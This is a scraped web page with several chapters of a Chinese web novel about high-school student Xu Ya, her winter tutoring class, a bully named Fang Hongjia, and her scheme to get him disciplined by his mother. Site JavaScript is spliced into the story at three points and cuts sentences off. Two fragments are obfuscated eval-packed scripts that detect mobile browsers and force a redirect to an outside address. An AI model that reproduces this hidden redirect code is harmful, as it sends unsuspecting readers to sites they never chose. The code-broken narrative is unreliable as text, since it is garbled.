陆卓仿佛是在面对一个邻居家的妹妹,以兄长般的口吻询问:“听说你出狱三个月了,是减了两年刑?” 徐娅乖巧地点头,轻轻说道:“我在监狱里,很努力。” 陆卓一顿,没说什么,继续问道:“现在有什么打算?” 徐娅说道:“发生了那种事,徐家我是回不去了,我想念个学历,好找份过得去的工作。” 陆卓沉默了一会儿,问:“你前天出现在我的宣讲会,也是为了这个?” 徐娅没说话。 陆卓自顾自说道:“你确实是这样的,做事情有自己的计划和目的。” 徐娅顿了顿,接话:“卓哥哥是什么意思?” 陆卓摇了摇头:“只是这个的话,我可以帮你写一封推荐信,陆氏旗下的教育系统会给你机会。” 徐娅笑:“那谢谢卓哥哥了。” 两人又聊了一会儿,陆卓看了一眼手表上的时间,说道:“我下午还有宣讲行程,你吃完饭就可以走了,我会让司机送你,再给你一些钱……以后应该不会再见面了。” 徐娅放下筷子,沉默了一会儿。 陆卓见她不说话,抬眸仔细观察她的表情。她似乎有些不满,不满他这么快就要赶走她,还表示永不再见。 陆卓心中有些烦躁,心想自己怎么就回了她的短信呢。 明明知道她是个最容易得寸进尺的人。 徐娅突然问:“你和阿惠下个月就要结婚了?” 陆卓顿了会儿,撇开眼,嗯了声。 徐娅露出个笑,似哀伤似怀念:“真好啊……” 陆卓回过头,被徐娅的表情刺了一下,心脏猛地缩了下。 即使如此,陆卓依旧维持着表面的平静,端着惯常的不苟言笑的表情,不想让对面的人看出一丝端倪。 徐娅站起来,似是终于意识到陆卓其实并没有那么欢迎她,于是决定不要继续自讨没趣。 陆卓没有跟着站起来,心里却松了口气。 徐娅走到门口,打开门,外头的日光照进来,模糊了她身体的轮廓。 “陆卓。” 陆卓终于转过头看向徐娅。 仿佛被覆上了一层圣光,徐娅回过头的容颜前所未有的美丽纯净,让陆卓的呼吸都滞了一下。 徐娅露出个微笑,很温柔的样子:“你从前……喜欢我吧?” 陆卓一下没反应过来徐娅的话,等意识到她说了什么,历来淡漠的眼眸猛地瞪大了。 陆卓下意识要否认:“你胡说什么……” 然而还没说完,话就戛然而止了。 因为方才还在光里笑得无比纯洁美好的女人,突然转身跑过来,一把抱住他。 “其实我也喜欢你,只是那时候我们是好朋友,我不敢说。” 15. 新年好×结梁子 在小镇的第一个寒假,对徐娅来说是特别的。因为在这个寒假,她将度过第一个不在徐家庆祝的新年。 大年二十九那天,张妈告假回老家过年,走之前还问了徐娅要不要跟她一起去,好歹过年时不冷清。 徐娅摇了摇头,张妈家过新年,她一个外人过去做什么。 张妈嘱咐:“小姐,那你好好照顾自己,我年初八就回来了。” 徐娅点头:“新年快乐。” 张妈走之后,徐娅整理了个小包,买了张第二天清晨的高铁票回沪市——当然,不是回徐家。 徐父没有让她回去之前,她没必要回去自讨没趣。 她去了一处陵园。 陵园位置很偏,但环境很好,四周布满绿植,很是清幽。 她买了一束百合花,进了陵园后径直往最靠里的墓走去。 最里面的墓打扫得很干净——徐娅花钱请了人定期清扫。 墓碑上印着的照片是个清秀的女人,有一头柔软微曲的长发,笑起来眼睛像两道月牙,温柔得连最乖戾的小孩都会软下身上的刺。 这是徐娅的母亲,聂觅香。 徐娅把百合花放在墓碑前,静静地站了一会儿,像是祷告的信徒一般,在心中述说着想要和母亲说的话。 她没有说她遭遇的那些不开心的事,只挑了有趣的同母亲说。 徐娅能想象到,如果母亲确实在她面前,会用怎样认真的表情倾听她的话语,用怎样柔软的手掌抚摸她的脑袋。 她在墓园待了一整个白天,然后傍晚又坐高铁回了小镇。 因为是大年三十,街上没有人,但居民区不时有烟花爆竹的声音响起。 徐娅等了许久才打到一辆空闲的出租车,回到小区的时候已经是晚上九点。 她还没吃晚饭,好在即使是大年三十,小镇的便利店也没有歇业,她还能买一桶泡面。 于是徐娅就一边吃着泡面,一边站在阳台上看居民们放上天的灿烂烟花。 爆竹声声中,她对自己说,徐娅,新年快乐呀。 大年初一和初二,徐娅几乎是睡过去的,吃饱了睡,睡饱了吃,百无聊赖地度过了新一年的头两天。 到第三天,她觉得差不多可以开始勤奋的新一年了,于是咨询了几家小镇上的培训机构,打算给自己报个寒假补习班。 等年初八张妈回来时,徐娅已经要开始上课了。 张妈惊愕:“小姐,假期你也不多歇歇啊?” 徐娅背着收拾好的书包,正要出门:“休息了好几天了。” 再不找点事做,她脑子估计要被无用的emo情绪和厌世想法占满了。 补习班在镇中心,离徐娅住的小区不算远,骑自行车十几分钟就到了。 因为才大年初八,来上课的学生不多,只凑齐了一个二十多人的小班,班里几乎都是高三年级的准高考生,像徐娅这样的非高考生寥寥无几。 不过徐娅在补习生里见到了一个熟悉的人。 关蔚看到徐娅,有点惊讶。徐娅先跟他打了招呼:“关蔚哥,新年快乐呀。” “新年快乐。”关蔚笑道,“才刚过完年就开始补习了吗?” “关蔚哥你不是也在补习吗?” “我毕竟是高三生。” 因为离上课还有点时间,关蔚就和徐娅稍微聊了会儿天。 “你是昨天回镇子的吗?怎么不在家多待几天陪陪父母?” 徐娅一顿,笑道:“马上要高三了,打算多花点时间念书。” 徐娅没把自己家的情况和任何人说过,没人知道她母亲已经过世,她还被父亲和继母赶出了家。 自然,她也没告诉任何人其实她的新年是留在小镇吃泡面。 很快,上课铃声响了,补习老师也拿着教案走进了教室。 徐娅找了个不前不后的座位坐下。 因为是新年后的第一堂课,大部分学生都显得有些无精打采,显然是被家长强行送来上课的。 甚至还有人课都过去一大半了才姗姗来迟。 补习老师姓曾,似乎在这个补习机构教书有一段时间了,认识许多一直在这里补习的学生。这个姗姗来迟的学生就是其中之一。 曾老师见那学生一边打着哈欠,一边毫无迟到自觉地大摇大摆走进教室,于是不觉皱了眉:“方鸿嘉,怎么回事,第一天上课就迟到这么久?” 那个叫方鸿嘉的学生被点名,只得停下脚步。他挠了挠脸颊,理直气壮:“睡迟了,这才年初八呢,八点就要补课也太变态了!” 曾老师眉头皱得更深了:“你是高三生!年前最后一次补习时,你妈妈还来过这儿问你补习的情况呢,你妈妈这么关心你的学习,你就这种态度?” 方鸿嘉撇嘴:“又不是她上课,就会嘴上关心,她自己这会儿还没起床呢。” “其他同学都起得来你起不来?关蔚和你是塘西同一个班的同学吧?他可提早一个小时就到了,上课前都复习很多知识点了。就连今天新来的高二妹妹,也都知道提前过来,上课前看看书熟悉熟悉补习班情况呢!” 徐娅莫名被cue到,只当没听见。那位方鸿嘉学长投来厌恶的目光,她也当没看见。 方鸿嘉又和曾老师呛了几句,最后曾老师没办法,只得摇着头让他先坐下了。 曾老师教的是数学,课程结束后,是二十分钟休息,之后会有其他补习老师过来上其他科目的课。 休息的二十分钟,徐娅去了趟洗手间,回到教室时,发现教室里有人在吵架——更准确的说,这是一场单方面的吵架。不少同学都转身看着吵架的人。 方鸿嘉站在关蔚的座位前,皮笑肉不笑地说道:“你怎么这么喜欢给我找麻烦呢?上次的教训没吸取够?” “我没给你找麻烦,你被曾老师训是因为你自己迟到了。”关蔚坐在座位上,面对方鸿嘉的咄咄逼人显得很平静。 关蔚本就书生气重,看书时还会戴上眼镜,于是显得更有文质彬彬的弱气书生感了,对比眼前站着的五大三粗、体宽有几乎两个他尺寸的方鸿嘉,简直弱势十足。 班里所有人都有些担忧地看着他。 徐娅走到一个女生边,问道:“小姐姐,这是怎么了?” 这个女生正好是关蔚和方鸿嘉的同班同学,显然不是第一次见到这种场面了,她有些嫌恶地看了方鸿嘉一眼,说道:“这是我们班的小霸王。” 原来方鸿嘉厌恶关蔚由来已久,最早可以追溯到两人还是高一的时候。 塘西高中升年级不重新分班,这俩从高一开始就是同班同学。 方鸿嘉的父亲是小镇所属城市的市教育局的一位领导,母亲从前是老师,自从方鸿嘉上高中后,她就辞职在家全心监督儿子念书。 然而父母越是重视成绩,方鸿嘉就越是念不好书。 高一某次开家长会,当时的班主任找方鸿嘉的母亲谈话,还说起了方鸿嘉的成绩和他当时的同桌,也就是关蔚的对比。 “小关家里条件一般,从小就是孤儿,但学习努力认真,次次都考年级第一。小方作为同桌,没有学到一丁点好,优越的家庭背景反而成了他顽劣的资本,甚至还想带坏小关,要他和他一起逃学去网吧。还好小关自律,没被诱惑。” 这下可好,方鸿嘉母亲发了大火,将他骂了一顿,还停了方鸿嘉半年零花钱。 方鸿嘉觉得关蔚把他逃学去网吧的事儿跟班主任说了,这才间接导致自己被母亲停了零用钱,于是从此就记恨上关蔚了。 越是有人在方鸿嘉面前说起关蔚的优秀,他就越要找关蔚麻烦。 据说上个学期期末期间,方鸿嘉还找人围堵关蔚,害关蔚有一门考试迟到了近一个小时。好在关蔚底子厚,虽然考试时间被迫缩短,但依旧考得不错。 徐娅问道:“学姐,方鸿嘉逃课去网吧的事,是关蔚学长告诉当时的班主任的?” “当然不是。”那女生说道,“关蔚这人说好听了叫不爱惹麻烦,说难听了叫双耳不闻窗外事一心只读圣贤书,才不会管他方鸿嘉闲事。当时是方鸿嘉的一个朋友逃课时被班主任抓到,被班主任一追问,慌忙之下什么都说了。其实方鸿嘉后来也知道前因后果了,但那会儿大家都已经高二末了,他找关蔚的茬都找了好几轮了,虽然初始有些阴差阳错,但两人的梁子也结了好久,化不开了。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 说着,女生突然压低声音,凑近徐娅耳朵,悄悄道:“其实我觉得方鸿嘉本来就嫉妒关蔚。关蔚这人长得高高帅帅的,成绩又好,高一时候方鸿嘉喜欢一个隔壁班的女生,结果那个女生和关蔚告白了。关蔚不仅拒绝了那个女生,事后还完全把这事儿忘了个干净。自己得不到的,别人压根不在意,你说方鸿嘉能不嫉妒关蔚吗?” 徐娅不说话,看向正和方鸿嘉说话的关蔚,心想他可真够倒霉的。 有其他同学看不下去,想帮关蔚说话,结果被方鸿嘉怼回去了。 方鸿嘉人壮实,家里有权有势,横起来一般人也不敢真得罪他。 没人介入,方鸿嘉气势汹汹地和关蔚单对单PK。 徐娅在一边围观了一会儿,发觉其实关蔚看着文弱,和方鸿嘉说话也平声静气的,但居然并没有在争论中处于下风。 他口才很强,说话四两拨千斤,反而方鸿嘉粗着嗓子吵了好久却被怼得无话可说,整张脸都气红温了。 眼见方鸿嘉快恼羞成怒了,上课铃响了。于是他撂下一句“我今天暂且放过你”就转身飞速回自己座位了。 虽然撂了狠话,但背影依稀有几分战败后落荒而逃的味道。 不少人见了都偷笑,于是挨个儿收获了方鸿嘉一个狠狠的瞪眼。 虽然有这个小插曲,但徐娅补习的热情没有丝毫被影响,上课以后很快就把这件事抛到了脑后。 下课后,今天的补习就结束了。 不少人围在老师身旁提一些课后问题,徐娅见人多,就没去凑热闹,收拾了下书包就下楼回家了。 然后就在楼下遇见了一个没想到的人。 “奋斗未来”补习班,和门口站着的塘西高中逃课大王加区域一霸关铸,两者气质都是相冲的。 关铸也看到了徐娅。 两人自从期末结束那天庆祝罗雾家麻烦事儿告一段落的聚餐后就没见过了,乍一见到,关铸不觉愣了下。 “你怎么在这儿?” “当然是来上补习班。”徐娅说道,“你呢?难道你也来上补习班?” 关铸挑眉看她,一副你在想什么的模样。 徐娅反应过来:“哦对了,关蔚哥在这儿补课,你是在等他?” 关铸“嗯”了声。 徐娅心想,哥哥上个补习班还要跟来,难不成关铸实际上是个隐藏的哥控? “关蔚哥在向老师提课后问题,提问的人挺多的,估计要一会儿才出来了。” 徐娅打量关铸,这人大冷天的只穿了一件米色的薄绒衫和一件纯白的羽绒外套,拉链还敞着,帅是挺帅的,但感觉不太抗冻。 她正想建议关铸去旁边便利店里等,却见他突然抬眸看向另一个方向。 关铸看着那个方向时,脸上带着一丝皮笑肉不笑的凉薄,眼神又冷又沉。 徐娅很少在关铸脸上看到这样的表情,他大多数时候都是随意的、吊儿郎当的,对人对事不怎么放在心上,于是露出这样的表情就显得威慑力十足。 这人果然是塘西这边的一霸……徐娅一边黑线地想着,一边转头顺着关铸的视线看,然后就看到了方鸿嘉。 方鸿嘉正从补习班的大楼出来,原本走得大摇大摆的,结果一出来就看到关铸一脸阴恻恻地盯着他,脚下一绊,差点摔一跤。 方鸿嘉偷偷摸摸瞅关铸一眼,又迅速移开目光,然后一溜烟地跑走,一边跑还时不时转头过来再瞄一眼关铸。 徐娅反应过来,哦,关铸是知道他哥被个二世祖缠上,怕二世祖对他哥做什么,才来接他哥下课的啊。 “他今天和你哥拌嘴来着,被你哥怼得不行。”徐娅说道。 关铸从外套里拿出盒烟,夹了一根点上,一边抽烟一边继续目送方鸿嘉走远。 “这人上学期末堵了关蔚,差点害关蔚一门考试考不了。”关铸的声音虽然平淡,但听得出有些微怒。 徐娅说道:“我听你哥班里的同学说,他高一时喜欢的一个女生喜欢你哥,所以从高一起他就不太看得惯你哥。” 关铸静了一会儿,嗤笑了声:“你才认识我哥多久,对我哥遇上的麻烦就比我知道得还多了。” 16. 16 徐娅顿了顿,突然道:“听起来好酸。” 关铸:“什么好酸?” 徐娅用一种做作的幽怨声音说道:“明明是我先的,怎么你比我了解更多哥哥的事呢!” 关铸:“……” 徐娅见关铸无语翻了一眼,哈哈笑起来,笑完说道:“不是有那种情况吗?很多人对亲人总是报喜不报忧的。” “呵,他还把我当小孩罢了。如果不是他差点赶不上期末考这件事闹得有点大,他不会跟我说起这个叫方鸿嘉的。”关铸用凉凉的声线说道,“从小就这样,受委屈也不知道说,跟个傻子似的。” 徐娅没说话,说实话她有点羡慕这种互相关怀的感情。 关铸和关蔚感情很好,互相都很为对方着想,这才是真正的一家人吧。 流着相同血脉的一家人。 血脉不相连的人之间一定无法产生这样的感情。 就算以为自己有,假象也会很快被戳破。 就像她、罗雾所遭遇的那样。 徐娅沉默太久,关铸转头看她一眼,见她有点恍神,抬手在她眼前打了个响指。 “想什么呢,这么入神?” 徐娅回过神,抬头看看关铸,问道:“你跟你哥,以前是什么样子的?” 关铸觉得徐娅会问他这样的问题有点奇怪。 他不太喜欢跟人说起自己的私事,但徐娅当下看他的目光实在澄澈,澄澈中又带着丝让人无法拒绝的、稚童般的渴望,所以最后,他竟然顺从地回答了。 “我们念初中前,镇里的孤儿院还没倒闭,所以我们一起住在孤儿院。”关铸一边回忆,一边说道,“关蔚从小就很照顾我,有什么好吃的都会留给我。我脾气不好,总和人打架,他就养出了一副好脾气,跟在后面道歉,让别人别再找我麻烦。” 关铸不擅长讲故事,一些可以温馨或感人的事被他讲得平淡如水。 大概他也觉得说的没意思,讲了几句后就停了下来。 可徐娅却听得很认真,即使关铸已经停下了,她却似乎还在想象和感受关铸方才讲述的场景。 这种认真让关铸不自觉地也开始沉浸进过往的回忆里。 年幼时的经历多半是昏暗的,小镇的孤儿院虽不是什么有问题的机构,但院长加上两位志愿者阿姨两个人要照顾一大群孩子,难免心有余力不足。 孩童间的恶意往往赤裸裸,鄙视链、争抢、霸凌时有发生。 而他由于特殊的身份与背景,要受到院里院外更多的非议,甚至于直面许多成年人都无法想象的残酷与阴暗。 关铸一直觉得,他如今成长得不算太歪,是因为身边一直尚有温情。 无论是一直关心他的关蔚,还是时不时出现并提供帮助、甚至在孤儿院倒闭后收养了他们兄弟的关越叔。 徐娅和关铸沉默地站了一会儿,互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13802280|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心事与感怀,直到关蔚向老师提问完下楼来,才打破了这种奇怪又和谐的氛围。 第二天继续补课,徐娅特意提前了一点到补习班,正好碰到关蔚来上课。不出意料,关铸果然跟着,送关蔚到教室门口才走。 关蔚见徐娅若有所思地看着关铸离开的背影,苦笑道:“我一个哥哥上课还要弟弟送,很奇怪吧?” 徐娅回过神,摇头:“没有,你们感情很好。” 关蔚走到窗边,从窗户正好能看到关铸走出培训大楼的身影。 “阿铸这人平时挺散漫的,但一旦遇到在意的人和事,就会变得很执拗。我都说了我没什么,只是同学间有些小矛盾而已,他也不听。” 徐娅也走到窗边,看着晨曦的街道上、关铸走远的背影:“可能人都是这样的吧,遇到在意的人和事,很难不执拗。” 关蔚摇了摇头,不赞同这种泛化的说话。他的目光看着远方,神情有些凝重,像是陷入了某段心有余悸的回忆中: “不一样的,阿铸真的超乎寻常的偏执。”关蔚思考了一会儿,像是在寻找合适的形容,“阿铸他……骨子里带着股不死不休的疯劲儿。” 这个形容让徐娅有些惊讶,关铸虽然平时言行挺不三好,但大体上依旧遵守在规则之内,跟“疯”这个字还是有些距离的。 关蔚见徐娅不解地看着他,笑道:“没什么,也可能确实是我这个哥哥想太多了。” 17. 不同处×相同处 因为受伤,徐娅向补习班请了假,第二天直接在家休息。 关蔚则还是去上课了。 一大早关铸先照例送关蔚去上课,然后在补习班多留了一会儿,他特意等方鸿嘉也到了,在方鸿嘉面前戾气十足地晃悠了一会儿。 虽然关铸是个学弟,但在塘西的名声实在有点响亮,饶是方鸿嘉也有点发怵,哪怕清楚关铸就是故意在敲打他,也不得不姑且受下这份敲打。 至于这份敲打能有用多久……估计是没多久的。 关铸回去后,没直接回家,而是去了徐娅那儿。 徐娅听到门铃声,立刻单腿一跳一跳去开门。 “欢迎来开作战会议!” 作战会议?关铸打量徐娅,疑惑:“我怎么觉得你有点亢奋?” “你不懂,思考怎么报复别人最能让我感到兴奋了!” 好变态的兴奋点…… 徐娅一条腿在光滑的大理石地面上跳得欢快,关铸看得脑壳痛,扶住她手肘:“大小姐你正常点,别革命尚未成功就身先士卒了。” 徐娅让关铸扶自己回房间,冲着外面喊了句“张妈我有事,中午吃饭前不要找我”,然后把房间门关上了。 徐娅坐到床畔,见关铸还一直站在原地没动,催促道:“你坐啊,怎么站着不动?不是有椅子吗?” 是一点也没意识到十七岁纯情少年进女生闺房会不自在。 关铸扯了扯嘴角,听话坐下了。 “我针对方鸿嘉做了一些调研。”徐娅从抽屉里找出一个笔记本,翻到一页。 关铸瞥了一眼——好家伙,密密麻麻的,甚至还有人物关系网,简直跟数学试卷最后一道大题的标准答案一样看一眼都让人脑壳痛。 “你在COSPLAY什么中情局FBI吗?” “这是我找罗雾帮我调查的,我之前就发现罗雾信息搜集能力可强了。” 罗雾还有这特长? 徐娅冲关铸招招手,让他坐近点。 关铸示意性地把椅子往徐娅边上挪了挪。 徐娅还是觉得隔得远,干脆自己挪了位置,坐到关铸边上的一个豆包沙发上。 她把笔记本摊开,搁在靠近关铸的那条腿上,然后开始讲这份调查笔记的内容。 关铸一边听,一边大致扫了一眼这份密密麻麻的笔记,然后皱起了眉—— “你这个调查笔记,怎么调查的全是方鸿嘉的情史?” 徐娅纠正他:“什么情史,这叫舔狗史好吧?” “……” 话不好听,但确实符合这份调查笔记的内容——总的来说,这份笔记详细记录了方鸿嘉从上高中开始,每一段倒追以及倒追失败的历史。 周而复始的频率几乎到达了每月一次,不知道该感叹他换目标的快速,还是赞扬他越挫越勇的好心态。 徐娅总结:“我发现,方鸿嘉几乎把塘西高中长得好看的女生都追过一遍了。比如这个美女学姐,前段时间还跟你告白过来着。” 关铸:“?” 徐娅见关铸一脸迷惑,诧异:“你不记得了?” 不记得,不过重点是——“你怎么知道谁跟我告白过?” “八卦传得最快了。”徐娅骄傲地扬了扬下巴,“更何况本支书在班里这么有地位,什么八卦都会往我耳朵过一遍的好嘛?” 自从组织运动会入场式打响了名气,徐娅在班里就成了中心人物,甚至在班外也很受追捧,收获了大堆大堆的朋友,以及大堆大堆千奇百怪的八卦。 关铸瞅着徐娅洋洋得意的样子,心想她怎么什么事情都能骄傲起来? 心有点痒,最终没忍住,伸出一根手指,把她高高扬起的下巴重重戳回去了。 “啊!你干嘛!”徐娅捂住下巴,愤怒地瞪着关铸。 关铸眼神往另一侧飘了飘,脸上的笑意一闪而过,镇定道:“所以呢,你调查方鸿嘉的情史干什么?” “也不是我盯着他的舔狗史调查,实在是除了这个没什么好查的,就是个乏善可陈的废物二代,做数学卷都比阅读他的人生有意思。” 徐娅点评人时实在毒舌,关铸竟然有那么片刻有一点点同情方鸿嘉。 “你准备怎么做?” 徐娅开始说自己的计划。 徐娅的计划其实很简单,既然方鸿嘉这么热衷追人,几乎到了对方稍微给点好脸色就会立刻陷进去展开攻势的程度,那干脆她来做下一个目标,然后把这个事直接捅到方鸿嘉的妈妈那儿。 高三生的父母最痛恨什么? 一切会勾引孩子的东西,以打游戏和谈恋爱为其中最大敏感区。 方鸿嘉他妈其实已经管得很严了,上高三以后他几乎碰不了电脑和手机。但没关系,没有游戏,就从恋爱上下手。 关铸对徐娅的这个计划表示不赞同:“你调查这么一通,最后得出的计划就是这个?” “这是根据调查得出的可行性最高的方案!” “方鸿嘉行事作风你又不是不了解,你才刚因为他受伤啊。” “我又不是真要做什么,你等着看吧,我只要多和他说两句话,不出三天,不,最多两天时间,立刻情书送到手上,到时候我转手上交给他妈,假期接下来的补课他都不用出现了,而且即使开了学,他家肯定也会管得更严,他就找不到什么时机来向你哥挑事了,难道不好吗?” “你想得太简单,方鸿嘉要是报复你呢?你想像我哥一样被这种人缠上?” “是你想得太复杂,这么多女生拒绝过他,他早该习惯了。” 关铸皱眉,依旧觉得荒谬。 徐娅一向发号施令惯了,关铸这么直白地反对她的计划,就有点不开心。她故意向前凑近关铸,歪着脑袋自下而上地打量他,目光探究:“你这么反对干什么?难不成你喜欢我?” 关铸淡淡瞥她一眼,抬手把她的脸推远点:“有自信是好事,但过度就成了脸大。” 徐娅切了声:“反正你反对也没用,我考虑过可行性了,绝对会很顺利。” 关铸觉得不可思议。怎么会有人这么理所当然地认为所有事情都会按照她设想的进行下去呢? 单纯到像是个小屁孩,相信只要努力就能干翻世界。 徐娅似乎看懂了关铸在想什么:“我才发现你这个人好像……怎么说呢,还蛮悲观的?” 关铸冷笑:“这叫成熟谢谢。” “……” 徐娅这人好强,越不被支持越是执拗:“我管你,总之我一定会试试!” 虽然两人没达成共识,但当晚,徐娅还是收到了关铸的消息。 “你别乱来,不管做什么都叫上我。” 徐娅认为这是一种妥协,毕竟腿长在她身上,她想干什么直接去干就好了,关铸也知道拦不住她。 想到关铸一边不乐意,一边又不得不配合她,徐娅就有种愉悦的感觉。 徐娅的行动力超强,第二天就又去补习班上课了。 老师看到她来上课,十分惊讶:“不是请了一周的假吗?怎么只休息了一天就来了?” 徐娅乖巧地说道:“听课不影响的,这里的课讲得挺好的。” 老师看起来十分感动,如果有感动中国十大学生,这位老师一定会把手里的票全部投给徐娅。 徐娅拄着自己的小拐杖,挑了个和前两天不一样的座位。 方鸿嘉在开始上课二十分钟后才走进教室,打着哈欠坐到平时常坐的座位上,他才发现今天隔壁的座位有人。 因为补习班一共才二十多个人,大家座位很松散,再加上方鸿嘉讨人嫌的个性,几乎没人会坐在他座位附近。 方鸿嘉转头看了徐娅好几眼。 其实方鸿嘉是认识徐娅的,在徐娅来补习班之前就认识。 为什么呢?因为徐娅长得美,方鸿嘉认识全校每一张长得美的脸。 但徐娅拥有高颜值的同时,还拥有一样方鸿嘉避之不及的东西,那就是高傲的个性。 方鸿嘉最怕高傲的女生了,普通女生只会拒绝他,高傲的女生会羞辱他。 是以,虽然方鸿嘉知道徐娅已久,但一直没有骚扰过她。 第一节课波澜不惊地过去了。临下课,方鸿嘉注意到徐娅转头看了他好几次。 方鸿嘉的第一反应是,徐娅怕不是因为前天摔伤的事要找他麻烦吧? 于是在徐娅又一次看过来的时候,方鸿嘉没好气地说道:“你干嘛?想找事吗?都说了那天我没做什么,你要是有不满就去找警察啊。” 徐娅像是愣了一下,好半天才说道:“不是的,我就是想说,我没带橡皮,能借你的用一下吗?” 声音很柔和,也很好听。 方鸿嘉下意识转头看向徐娅,被女孩脸上浅浅的笑意闪到了眼睛。 美丽,温柔,亲和。 她明明与高傲这样的词汇完全扯不上关系! 第二天,补习班放学后约一个小时,夕阳西下,徐娅从补习班附近的小公园往外走。 小公园铺的是石子路,对于脚伤暂时还没好全、还拄着拐的徐娅来说,有点难走。 没走几步,徐娅被一股力扶住了手肘。 她转头,看清来人后,露出一个胜利的笑容:“我说什么来着?” 关铸本在打量徐娅的脚踝情况,闻言抬头,看向她脸上显而易见的得意表情。 徐娅摸了摸口袋,随即从里面拿出一个有着爱心暗纹的信封,夹在指尖晃了晃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958381|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “距离我跟他搭话才过去了三十二个小时,结果比我预想的还要顺利,之前谁说我想得太简单,不成熟来着?” 关铸无奈:“是我先前冒昧了,您大小姐最成熟,可以了吗?” 徐娅点头:“知错就改,关铸同学还是好孩子。” 关铸:“……” 徐娅的计划是很顺利,不过才刚受伤就各种折腾,脚踝肿得比刚摔伤那天更厉害了。 关铸扶着她走了几步,见她实在艰难,最后向前一步蹲在她身前。 徐娅愣了下:“干嘛?” “照你这走法,再走一个小时也走不回小区,我勉为其难帮你一把。” 徐娅翻了一眼:“勉为其难的话也可以不用为难。” 话是这么说,但脚踝确实痛得厉害,徐娅还是口嫌体正直地趴到了关铸背上。 徐娅很瘦,体重自然不重,关铸背着她丝毫不费力。 最开始,两人都没说话。关铸就这么背着徐娅,迎着夕阳往回家的方向走。 转过一个弯,关铸开口了。 这并不是酝酿许久的一次开口,更像是回家途中闲散的一次聊天。 想到什么就说了。 “喂,徐大小姐,以后还是别做这种事了。” 徐娅还处于计划顺利的喜悦中,闻言不解:“为什么?” 关铸顿了一会儿,再开口的声音又轻又远:“因为好运并不总会降临,这个世界更多的是无可奈何与危机四伏。” 徐娅愣了愣,心想你小小年纪装什么沧桑? “我这不是好运,我是经过了大量分析,确信这样做的成功率很高。” 关铸似乎并没有强行说服她的打算,只轻轻笑了下:“也许吧。” 徐娅隐约意识到了,她和关铸诸多的不同中,一定存在这样一个不同,那就是他们看待世界运行方式的态度。 这并不是说他们中有人是对的或错的。 从前徐娅并没有发觉,其实关铸骨子里是个悲观主义者。 明明他看起来是一个自信而有魅力的人,但他的底色似乎是悲凉的。 也许这是生活经历所决定的。 徐娅发觉自己对关铸从前的生活经历感到好奇,虽然先前她问过他一些他从前的事,他也回答了,但总体而言,关铸真正的核心于她而言依旧是一团迷雾。 但她知道,他不会向她展示那片迷雾背后的东西,就像她不会告诉他她的那些秘密。 从这个角度来说,他和她虽十分不同,却又有着相似之处,他们都拥有用于掩饰的表皮,和高傲的骨架,而骨架之下的东西却绝不示人。 徐娅懒洋洋地挂在关铸温热宽阔的背上。 她心想两个高傲又擅长掩饰的人,大概率是会像两条平行线,短暂交汇后又各自奔向不同方向吧。 所以多余的好奇是不理智的,也不必要的。 徐娅的计划确实很顺利,当晚她将情书送到方鸿嘉母亲那里后,第二天方鸿嘉就从补习班消失了。 此后一整个寒假,由于少了个大麻烦,无论是徐娅还是关蔚,补习生活都十分顺利。 徐娅扭伤的手腕和脚踝也在顺利的假期生活中慢慢好全了。 徐娅再次见到关铸,是开学那天。 大概是因为寒假后半程过得十分舒心,关铸肉眼可见的状态十分愉悦。 开学第一天的早上,班里许多学生还没到,班主任老郑也还没来。 徐娅侧坐在关铸前桌,一手搭着椅背,一手在课桌上漫无目的地敲敲点点。 她在询问后续的情况,虽然方鸿嘉一直没来补习班,但不知道私底下他有没有再向关蔚挑起过什么事端。 关铸瞥她一眼,显然看出了她来搭话的小心思,但还是顺着她的心思往下说:“没有,一切都跟你想的一样。” 于是就和预料的一样,骄傲的小孔雀简直要把身上的羽毛全竖起来展示。 “我说什么来着,这就是智慧,你是不是得感谢我?” “感谢得五体投地。” 就像验收自己做的项目取得了完美的成果一样,徐娅在关铸配合的夸赞中,获得了应有的成就感。 啊,果然世界就该像她想的那样运行才对。 关铸见徐娅毫不掩饰心中的自得,突然笑了一下。 徐娅瞥他一眼:“干嘛?笑什么?” 关铸摇了摇头:“没什么。” 新学期第一天的朝阳中,骄傲的大小姐带着鲜亮的羽毛,向四周的空气释放着她的自信和活力。 她的面孔在朝阳中洁白如玉,双眼神采飞扬。 关铸漫无目的地开始回忆起来,回忆什么呢?回忆有多少人对他说过,徐娅长得很好看。 18. 18 开学没过几天,徐娅就敏锐地感受到了弥漫在学校空气中的焦灼。 首先是学校正门边的电子屏幕,上面出现了倒计时,提醒距离高考还剩下的天数。 其次是学校的荣誉宣传栏,上面张贴了每个年级学生中成绩最好的前十名,上学期时高三的那十个名额还是月更新的,到这学期变成了周更新——这意味着可怜的高三学长姐们每周都要考一次试。 走在学校里,可以通过神情和状态轻松地区分出哪些人是高三生,哪些是非高三生。 且不说高三生们压力山大的生活,就连非高三生都被这种焦灼的气氛影响得焦虑起来。 好可怕,等我成为高三生,可怎么熬过这样的时光啊!可怎么面对一点点逼近的高考啊! 当然,也有一些人比较奇葩,在这种颇具压力的氛围下,能够丝毫不被影响,比如关铸,或者反而被激励得热血澎湃,比如徐娅。 学校号召高一高二的学生一起支持高三的学长姐,还就此开了一个班委动员会。 徐娅作为高二3班的团支书,自然是要去参加动员会的。 临走前她还拉上了明显打算逃会去打球的班长。 